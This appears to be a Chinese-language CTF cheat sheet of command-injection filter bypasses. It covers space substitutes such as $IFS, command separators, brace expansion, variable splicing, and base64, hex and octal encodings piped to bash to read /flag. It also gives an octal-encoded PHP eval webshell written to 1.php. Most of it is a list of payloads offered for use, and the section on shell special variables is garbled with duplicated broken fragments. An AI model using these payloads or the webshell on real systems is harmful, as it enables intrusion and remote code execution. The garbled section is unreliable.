空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
一些命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
花括号的别样用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令 {cat,flag}
黑名单绕过
拼接绕过
a=l;b=s; a a ab
编码绕过
base64:
echo “Y2F0IC9mbGFn”|base64-d|bash
==>cat /flaghex:
echo “636174202f666c6167” | xxd -r -p|bash
==>cat /flagoct:
$(printf “\154\163”)
==>ls
$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)
==>cat /flag
{printf,”\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”}|$0
==>cat /flag
#可以通过这样来写webshell,内容为
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”}
==> 1.php
单引号和双引号绕过
比如:ca’’t flag 或ca””t flag
反斜杠绕过
比如:ca\t fl\ag
利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
@ 表 示 ( @表示( @表示(@:同样也是获取当前shell的参数,不加引号和 ∗ 是 一 样 的 , 那 么 加 了 引 号 如 : ” *是一样的,那么加了引号如:” ∗是一样的,那么加了引号如:”@”
表示将所有的参数视为不同独立的字符串,相当于”$1” “ 2 ” . . ) 比 如 : c a 2”..) 比如:ca 2”..)比如:ca@t fla$@g
ca$1t fla$2g
linux中直接查看文件内容的命令
cat、tac、more、less、head、tail、nl、sed、sort、uniq、